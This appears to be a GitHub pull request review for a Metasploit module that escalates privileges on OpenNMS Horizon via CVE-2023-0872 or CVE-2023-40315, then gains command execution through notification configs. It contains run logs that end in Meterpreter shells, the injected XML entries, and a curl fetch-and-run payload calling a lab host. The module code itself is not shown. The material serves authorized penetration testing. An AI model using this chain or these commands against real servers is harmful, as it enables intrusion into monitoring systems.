Add OpenNMS Horizon privesc and authenticated RCE exploit and docs

[ErikWynter]

About

This change adds an exploit module (with docs) that exploits built-in functionality in OpenNMS Horizon in order to execute arbitrary commands as the opennms user. For versions 32.0.2 and higher, this module requires valid credentials for a user with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST. For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges. In that case, the module will automatically escalate privileges via CVE-2023-40315 or CVE-2023-0872 if necessary.

This module has been successfully tested against OpenNMS version 31.0.7

Vulnerable Application

OpenNMS Horizon prior to 32.0.2, though it will likely also work against versions 32.0.2 and higher if the user has sufficient privileges.

Writeup and demo videos

I have published a writeup that covers CVE-2023-0872, CVE-2023-40315 and the authenticated RCE chain.

In addition, I have created the following demo videos:

1. This video for exploitation via CVE-2023-0872
2. This video for exploitation via CVE-2023-40315

Installation Information

OpenNMS is open source software and is available on GitHub. Documentation, including installation information, is available here.

The easiest way to install OpenNMS is via docker. This requires creating two docker-compose files, one for the PostgreSQL database and one for OpenNMS Horizon:

The PostgreSQL docker-compose file should look something like this:

---
version: '3'

volumes:
  data-postgres: {}

services:
  database:
    image: postgres:15.5
    container_name: database
    environment:
      TZ: 'America/New_York'
      POSTGRES_USER: 'postgres'
      POSTGRES_PASSWORD: 'postgres'
    volumes:
      - 'data-postgres:/var/lib/postgresql/data'
    healthcheck:
      test: [ "CMD-SHELL", "pg_isready -U postgres" ]
      interval: 10s
      timeout: 3s
      retries: 3
    ports:
      - '5432:5432/tcp'

For OpenNMS Horizon 31.0.8, the OpenNMS Horizon docker-compose file should look something like this, but any other version can be specified:

---
version: '3'

volumes:
  data-opennms: {}
  data-config: {}

services:
  horizon:
    image: opennms/horizon:31.0.8
    container_name: horizon
    environment:
      TZ: 'America/New_York'
      POSTGRES_HOST: '192.168.91.202'
      POSTGRES_PORT: 5432
      POSTGRES_USER: 'postgres'
      POSTGRES_PASSWORD: 'postgres'
      OPENNMS_DBNAME: 'opennms-core-db'
      OPENNMS_DBUSER: 'opennms'
      OPENNMS_DBPASS: 'my-opennms-db-password'
    volumes:
      - data-opennms:/opennms-data
      - data-config:/opt/opennms/etc
    command: ["-s"]
    ports:
      - '8980:8980/tcp'
      - '8101:8101/tcp'
    healthcheck:
      test: [ 'CMD', 'curl', '-f', '-I', 'http://localhost:8980/opennms/login.jsp' ]
      interval: 1m
      timeout: 5s
      retries: 3

The OpenNMS web app will then be available on port 8980. The default credentials are admin:admin.

Scenarios

OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-0872

msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > options

Module options (exploit/linux/http/opennms_horizon_authenticated_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   rest             yes       Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.91.196   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8980             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /opennms/        yes       The base path to OpenNMS
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   rest             yes       Username to authenticate with                                                                                                                                                              
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  192.168.91.196   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      fZn              no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST       192.168.91.196   no        Local IP to use for serving payload
   FETCH_SRVPORT       8081             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               192.168.91.196   yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux


msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run

[*] Started reverse TCP handler on 192.168.91.196:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target is OpenNMS version 31.0.7 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.
[+] The target appears to be vulnerable. User rest has ROLE_REST privileges. Exploitation is likely possible via CVE-2023-0872.
[+] Successfully escalated privileges by adding ROLE_FILESYSTEM_EDITOR
[*] Successfully edited notificationCommands.xml
[*] Successfully edited destinationPaths.xml
[*] Successfully edited notifications.xml
[+] Successfully uploaded the payload to rebxympptby.bsh
[*] Triggering the notification to execute the payload
[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.
[*] Sending stage (3045380 bytes) to 172.20.0.2
[*] Meterpreter session 1 opened (192.168.91.196:4444 -> 172.20.0.2:56974) at 2023-12-13 17:30:55 +0200
[*] Attempting cleanup...

meterpreter > getuid
Server username: opennms

OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-40315

msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set username file
username => file
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set password file
password => file
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run

[*] Started reverse TCP handler on 192.168.91.196:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target is OpenNMS version 31.0.7 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.
[+] The target appears to be vulnerable. User file has ROLE_FILESYSTEM_EDITOR privileges. Exploitation is likely possible via CVE-2023-40315.
[*] Waiting 3 seconds for the changes to be saved...
[+] Successfully escalated privileges by adding ROLE_ADMIN
[*] Successfully edited notificationCommands.xml
[*] Successfully edited destinationPaths.xml
[*] Successfully edited notifications.xml
[+] Successfully uploaded the payload to thwjtslfaqsg.bsh
[*] Triggering the notification to execute the payload
[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.
[*] Sending stage (3045380 bytes) to 172.20.0.2
[*] Meterpreter session 1 opened (192.168.91.196:4444 -> 172.20.0.2:51914) at 2023-12-13 17:40:16 +0200
[*] Attempting cleanup...

meterpreter > getuid
Server username: opennms

Notes:

• I will add docs later.
• I assume that the authenticated RCE vector works the same for OpenNMS Horizon 32.0.2 and higher if credentials are provided for a user with sufficient privileges. However, I have not tested this, so it would be good to do so as part of the review process.
• The module is relatively complex because several scenarios are supported depending on the privileges of the provided credentials, and because exploitation requires editing several different files, all of which have to be reverted as part of the cleanup process. I have tried to break it up into reusable methods and added YARD docs to improve readability. If anything is not clear or can be improved, please let me know.
• If I run the module twice in a row, msf complains about a resource collision. This requires setting the FETCH_URIPATH manually to a different value. I'm not sure why this happens and what can be done to avoid it.

msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run

[-] Exploit failed: RuntimeError unknown: Failed to add resource
 bad-config: Resource collision detected.  Set FETCH_URI to a different value to continue.

[bwatters-r7]

With no call to execute_cmdstager, I don't think you need this since you're not using the cmdstager.

[ErikWynter]

Good point! I initially planned to use one but in the end had no need for it and then forgot to remove this

[ErikWynter]

fixed

[bwatters-r7]

If you need an example non-routable IP, see RFC 5737:

The blocks 192.0.2.0/24 (TEST-NET-1), 198.51.100.0/24 (TEST-NET-2),
and 203.0.113.0/24 (TEST-NET-3) are provided for use in
documentation.

[ErikWynter]

That's a great idea! I actually forgot to double check if that rule is required. It is when using the UI but I'm not sure if it actually checks for it. If it can't be omitted, I'll set a random non-routable IP

[ErikWynter]

@bwatters-r7 this has been implemented in the latest commit

[github-actions]

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

• Writing Module Documentation
• Template
• Examples

[bwatters-r7]

Is this still on your radar, @ErikWynter?

[ErikWynter]

@bwatters-r7 yes definitely! I was hoping to work on it this week but no luck. I have another open PR here still too. I should be able to push some changes on at least one of these next week though.

[ErikWynter]

@bwatters-r7 I finally found some time to add the changes you requested. I have also added the docs and an advanced option that was still mentioned as a #TODO in the code. Please let me know if additional changes are needed. :)

[jheysel-r7]

Thanks for the module @ErikWynter! Congrats on finding some really cool vulns. I enjoyed reading the write up. A couple of comments about the PR:

Version 32.0.6

I was unable to get the two docker-compose files to work together. I was able to install the 32.0.6 on Ubuntu 22 using the bootstrap script. I tried inputting valid credentials to see if it would still be able to obtain RCE without exploit the privescs. I wasn't able to get a session back from but this is what I noticed when trying to exploit:

The methods that edit and clean up the XML files work quite well. Each time I ran the module the files were edited and restored to their original state.

Target Changes

Additions to notificationCommands.xml:

<command binary="true ">
    <name>zSBmCgBBJhB</name>
    <execute>/usr/bin/bash</execute>
    <comment>ZLxLXSpz</comment>
    <argument streamed="false">
        <substitution>/usr/share/opennms/etc/yrfwjkhmlbt.bsh</substitution>
    </argument>
</command>

Additions to destinationPaths.xml:

<path name="XTHOVMPzkWK">
    <target>
        <name>Admin</name>
        <command>zSBmCgBBJhB</command>
    </target>
</path>

Additions to notifications.xml:

<command binary="true">
    <name>zSBmCgBBJhB</name>
    <execute>/usr/bin/bash</execute>
    <comment>ZLxLXSpz</comment>
    <argument streamed="false">
        <substitution>/usr/share/opennms/etc/yrfwjkhmlbt.bsh</substitution>
    </argument>
</command>

Payload was successfully delivered but did not return a shell:

opennms@3255f34bf57d:~$ ls -l /usr/share/opennms/etc/yrfwjkhmlbt.bsh
-rw-rw-r-- 1 opennms opennms 78 Jan 30 21:13 /usr/share/opennms/etc/yrfwjkhmlbt.bsh

cat /usr/share/opennms/etc/yrfwjkhmlbt.bsh
curl -so /tmp/HZ http://172.16.199.1:8081/fdsffgs; chmod +x /tmp/HZ; /tmp/HZ &

The .bsh payload had file permissions of 664 - is this to be expected?

I increased the wfs_delay so i had time analyze the target changes before they were restored. During this time I manually ran chmod +x yrfwjkhmlbt.bsh && ./yrfwjkhmlbt.bsh and I received a session.

Version 31.0.8

I thought maybe they had patched the RCE on the latest version so I spun up a version 31.0.8 with a singular docker-compose file, but I noticed the exact same behaviour as the 32.0.6 target. The XML files were edited, the payload was dropped with 644 file permissions and everything was cleaned up nicely but no session was returned.

Let me know if you have any suggestions for me to get this working, my apologies if this ends up being an environment issue on my side.

[jheysel-r7]

Suggested change

	The module first tries to authenticated to the target in order to verify the credentials and obtain the OpenNMS version.
	The module first tries to authenticate to the target in order to verify the credentials and obtain the OpenNMS version.

[jheysel-r7]

Suggested change

	# If we have escalated privileges via the filesytem, we need to wait a few seconds for the changes to be saved
	# If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved

[ErikWynter]

Hey @jheysel-r7 sorry to hear about the issues you were having. I've had issues installing the app too, so I imagine something isn't fully working on your install, or there is something about your environment that the module doesn't handle well, because I have tested this module extensively and never ran into this problem.

• The file permissions do not matter at all because if the alert is triggered, OpenNMS should execute the payload like this:
  /usr/bin/bash <payload.bsh>. So if you want to rule out issues with the payload execution, you'd need to manually trigger it like this instead of via chmod +x yrfwjkhmlbt.bsh && ./yrfwjkhmlbt.bsh.
• The XML files look good to me, and based on those the exploit chain should work if there are no issues with the install, since this is simply leveraging built-in functionality of how alerts and notifications work. It's worth checking to see if notifications are actually working for your install at all. After running the module, you should see notifications for the alerts in the portal when you log in with that user.
• To check if the issue could be related to privesc failing, you could run the exploit with credentials for a user that already has all relevant roles.
• You can also manually perform the exact steps the module performs by configuring the XML files the way you showed, then creating a payload at that location, sending a request to refresh the config (I think there is an example HTTP request in my writeup), and finally performing an invalid login request to trigger the alert.
• Perhaps an even easier approach is to try and still install the app via docker. Those docker compose files worked for me, but only if I would first start the PostgreSQL one and OpenNMS only after.
• Btw, the issue you had can't be related to patching because the only things they patched are the priv esc vectors. They did not patch the RCE chain because they consider that intended behavior, so unless they have made other changes since then, the module should still work on the latest version as long as you run it with a sufficiently privileged account

I have been planning to do a fresh install of OpenNMS myself and double check things but I haven't been able to find the time yet. I hope any of the above suggestions are helpful. :)

[jheysel-r7]

Jenkins test this please

[jheysel-r7]

Hey @ErikWynter, thanks so much for the detailed response. I didn't realize at first that notifications had to be enabled in order for the payload to be triggered. It all makes sense now. I pushed a quick change just to check to see if notifications are enabled on the target and then if they're not the module enables them. Enabling notifications requires admin privs but at that point in the module the user logged in should have those privs.

** Edit: I figured this change was probably justified as notifications are disabled by default.

Testing output when notifications are not enabled, note the lines:

[*] Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...
[+] Notifications are enabled

msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > rexploit
[*] Reloading module...

[*] Command to run on remote host: curl -so /tmp/zWCS http://172.16.199.1:8081/qwere; chmod +x /tmp/zWCS; /tmp/zWCS &
[*] Fetch Handler listening on 172.16.199.1:8081
[*] HTTP server started
[*] Adding resource /qwere
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Successfully authenticated
[*] The target is OpenNMS version 31.0.8 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.
[*] User admin has the following privileges: ROLE_ADMIN
[+] The target appears to be vulnerable. User admin has ROLE_ADMIN privileges. Exploitation is likely possible via privilege escalation to ROLE_FILESYSTEM_EDITOR.
[*] User admin has the following privileges: ROLE_ADMIN
[*] User admin has the following privileges: ROLE_ADMIN ROLE_FILESYSTEM_EDITOR
[+] Successfully escalated privileges by adding ROLE_FILESYSTEM_EDITOR
[*] Successfully authenticated
[*] Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...
[+] Notifications are enabled
[*] Successfully edited notificationCommands.xml
[*] Successfully edited destinationPaths.xml
[*] Successfully edited notifications.xml
[+] Successfully uploaded the payload to ckhgcpjxw.bsh
[*] Triggering the notification to execute the payload
[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.
[*] Client 172.16.199.1 requested /qwere
[*] Sending payload to 172.16.199.1 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Meterpreter session 4 opened (172.16.199.1:4444 -> 172.16.199.1:52862) at 2024-03-20 11:03:41 -0700
[*] Attempting cleanup...
[*] Successfully authenticated
[+] Successfully deleted the payload file ckhgcpjxw.bsh
[*] Successfully removed sYfYsNxrO from notifications.xml
[*] Successfully removed LnWgRsIApi from destinationPaths.xml
[*] Successfully removed lpZcxbyWilN from notificationCommands.xml
[*] Successfully updated the configuration
[*] User admin has the following privileges: ROLE_ADMIN ROLE_FILESYSTEM_EDITOR
[*] User admin has the following privileges: ROLE_ADMIN
[*] Successfully deescalated privileges by removing ROLE_FILESYSTEM_EDITOR

meterpreter > getuid
Server username: opennms
meterpreter > sysinfo
Computer     : 172.20.0.2
OS           : Ubuntu 22.04 (Linux 6.6.16-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit
[*] Shutting down session: 4


[*] 172.20.0.2 - Meterpreter session 4 closed.  Reason: Died
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set FETCH_URIPATH qwereqwer
FETCH_URIPATH => qwereqwer

Testing when notifications are already enabled:

msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > rexploit
[*] Reloading module...

[*] Command to run on remote host: curl -so /tmp/zWCS http://172.16.199.1:8081/qwereqwer; chmod +x /tmp/zWCS; /tmp/zWCS &
[*] Fetch Handler listening on 172.16.199.1:8081
[*] HTTP server started
[*] Adding resource /qwereqwer
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Successfully authenticated
[*] The target is OpenNMS version 31.0.8 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.
[*] User admin has the following privileges: ROLE_ADMIN
[+] The target appears to be vulnerable. User admin has ROLE_ADMIN privileges. Exploitation is likely possible via privilege escalation to ROLE_FILESYSTEM_EDITOR.
[*] User admin has the following privileges: ROLE_ADMIN
[*] User admin has the following privileges: ROLE_ADMIN ROLE_FILESYSTEM_EDITOR
[+] Successfully escalated privileges by adding ROLE_FILESYSTEM_EDITOR
[*] Successfully authenticated
[+] Notifications are enabled
[*] Successfully edited notificationCommands.xml
[*] Successfully edited destinationPaths.xml
[*] Successfully edited notifications.xml
[+] Successfully uploaded the payload to luxmasqx.bsh
[*] Triggering the notification to execute the payload
[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.
[*] Client 172.16.199.1 requested /qwereqwer
[*] Sending payload to 172.16.199.1 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Meterpreter session 5 opened (172.16.199.1:4444 -> 172.16.199.1:52910) at 2024-03-20 11:06:21 -0700
[*] Attempting cleanup...
[*] Successfully authenticated
[+] Successfully deleted the payload file luxmasqx.bsh
[*] Successfully removed XDVCoJmu from notifications.xml
[*] Successfully removed EVCKOoQVx from destinationPaths.xml
[*] Successfully removed WSYiuATtNw from notificationCommands.xml
[*] Successfully updated the configuration
[*] User admin has the following privileges: ROLE_ADMIN ROLE_FILESYSTEM_EDITOR
[*] User admin has the following privileges: ROLE_ADMIN
[*] Successfully deescalated privileges by removing ROLE_FILESYSTEM_EDITOR

meterpreter > getuid
Server username: opennms
meterpreter > sysinfo
Computer     : 172.20.0.2
OS           : Ubuntu 22.04 (Linux 6.6.16-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

[jheysel-r7]

Release Notes

This module exploits built-in functionality in OpenNMS Horizon in order to execute arbitrary commands as the opennms user. For versions 32.0.2 and higher, this module requires valid credentials for a user with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST. For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges.